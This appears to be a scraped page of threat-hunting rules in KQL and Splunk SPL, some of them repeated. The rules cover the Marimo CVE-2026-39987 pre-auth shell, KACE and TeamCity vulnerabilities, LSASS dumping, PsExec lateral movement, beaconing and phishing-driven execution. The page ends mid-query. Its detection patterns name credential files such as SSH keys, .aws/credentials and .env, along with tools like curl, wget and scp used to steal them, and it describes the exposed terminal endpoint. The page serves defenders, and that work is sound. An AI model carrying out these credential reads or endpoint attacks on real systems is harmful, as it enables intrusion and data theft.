| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-204 use cases0 techniques3 kill-chain phases detected
Quest KACE Systems Management Appliance (SMA) contains an improper authentication vulnerability that could allow attackers to impersonate legitimate users without valid credentials. Vendor: Quest, Product: KACE Systems Management Appliance (SMA). Federal patch due: 2026-05-04.
CVEsCVE-2025-32975
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-32975")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-32975")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-207 use cases1 technique3 kill-chain phases detected
JetBrains TeamCity contains a relative path traversal vulnerability that could allow limited admin actions to be performed. Vendor: JetBrains, Product: TeamCity. Known ransomware use: Known. Federal patch due: 2026-05-04.
CVEsCVE-2024-27199
ATT&CKT1486
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2024-27199")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2024-27199")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-1815 use cases12 techniques7 kill-chain phases detected
Threat actors are abusing external Microsoft Teams collaboration to impersonate IT helpdesk staff and convince users to grant remote access. Once inside, attackers can abuse legitimate tools and standard admin protocols to move laterally and exfiltrate data while appearing as routine IT support—activity Microsoft Defender helps detect across Teams, endpoint, and identity telemetry. The post Cross‑tenant helpdesk impersonation to data exfiltration: A human-operated intrusion playbook appeared first on Microsoft Security Blog .
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonator
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · PowerShell encoded / obfuscated command · Article-specific behavioural hunt — Cross‑tenant helpdesk impersonation to data exfiltration: A human-operated intru
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · [LLM] Havoc loader DLL side-load via Acro/ADN/DLP/WER updater from ProgramData
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · [LLM] Trusted updater binary initiating WinRM (TCP 5985) lateral movement · [LLM] Rclone exfiltration with file-type exclusions to cloud storage from QuickAssist host
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
